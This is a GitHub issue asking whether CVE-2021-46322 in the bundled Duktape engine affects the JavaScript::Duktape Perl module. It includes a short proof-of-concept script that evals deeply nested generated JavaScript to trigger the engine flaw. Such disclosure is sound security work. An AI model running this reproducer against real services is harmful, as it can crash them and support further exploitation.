Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Does CVE-2021-46322 affect this? #41

Open
robrwo opened this issue Jun 24, 2022 · 1 comment
Open

Does CVE-2021-46322 affect this? #41

robrwo opened this issue Jun 24, 2022 · 1 comment

Comments

@robrwo
Copy link

robrwo commented Jun 24, 2022

Does CVE-2021-46322 affect this? See svaarala/duktape#2448 which should affect all v2.2 versions. The Changes file says

2.3.0 2017 2017-12-16
        - update duktape version to v 2.2.0
@robrwo
Copy link
Author

robrwo commented Jun 24, 2022

I verified that this is an issue:

use JavaScript::Duktape;

my $js = JavaScript::Duktape->new();

$js->eval( << "POS"
function JSEtest() {
    var src = [];
    var i;

    src.push('(function test() {');
    for (i = 0; i < 1e4; i++) {
        src.push('var x' + i + ' = ' + i + ';');
    }
    src.push('var arguments = test(); return "dummy"; })');
    src = src.join('');

    var f = eval(src)(src);

    try {
        f();
    } catch (e) {
        print(e.name + ': ' + e.message);
    }

    print('still here');
}

try {
    JSEtest();
} catch (e) {
    print(e.stack || e);
}

POS

    );

robrwo added a commit to robrwo/cpan-security-advisory that referenced this issue Jun 24, 2022
I have verified that this is an issue, and created a ticket
mamod/JavaScript-Duktape#41
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant